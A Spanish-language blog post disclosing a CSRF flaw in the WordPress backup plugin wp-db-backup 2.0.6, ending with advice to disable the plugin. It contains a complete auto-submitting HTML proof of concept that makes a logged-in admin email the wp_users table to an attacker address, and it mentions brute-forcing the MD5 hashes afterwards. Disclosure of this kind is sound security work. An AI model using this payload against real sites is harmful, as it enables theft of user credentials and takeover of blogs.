Ya es casi un año desde que tomamos la decisión de no utilizar wp-db-backup en este blog, esta decisión principalmente se debió a que alguien logró acceder a los paneles de administración de varios blogs que usaban este plugin, la persona que hizo esto utilizó los datos de los backups previamente generados.
Esta vez la historia se vuelve a repetir, puesto que este es otro plugin que lamentablemente es vulnerable a ataques CSRF, gracias a esto es posible que cualquiera pueda obtener los backups sin mayor esfuerzo.
La versión 2.0.6 incluye tres formas de poder obtener los backups:
- Guardar en un directorio aleatorio en el servidor web.
- Descargar el backup a la máquina del usuario.
- Enviar el backup por correo a una cuenta de email especificada en otro campo.
No recuerdo si la tercera opción estaba disponible antes o si es que ha sido agregado en versiones recientes, pero ésta es la más peligrosa porque si alguien incluye el siguiente documento html dentro de un (i)frame y de algún modo hace que la víctima (con permisos suficientes para realizar backups) entre a una página que contiene ese elemento, entonces, asumiendo que el prefijo de las tablas es el que viene por omisión, el atacante recibirá los datos de la tabla wp_users.
html:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>wp-db-backup PoC</title>
</head>
<body>
<form method="post" action="http://victima.com/wp-admin/edit.php?page=wp-db-backup.php">
<input type="hidden" name="deliver" value="smtp" />
<input type="hidden" name="backup_recipient" value="usuario@atacante.com" />
<input type="hidden" name="core_tables[]" value="wp_users" />
<input type="hidden" name="do_backup" value="backup" />
</form>
<script type="text/javascript">
//<![CDATA[
document.forms[0].submit();
//]]>
</script>
</body>
</html>
Una vez que se tengan los datos de los usuarios del blog victima.com, el atacante puede hacer uso de fuerza bruta para recuperar las contraseñas almacenadas con md5.
Por lo pronto, les recomiendo que desactiven este plugin mientras su autor corrige este problema y libera una nueva versión.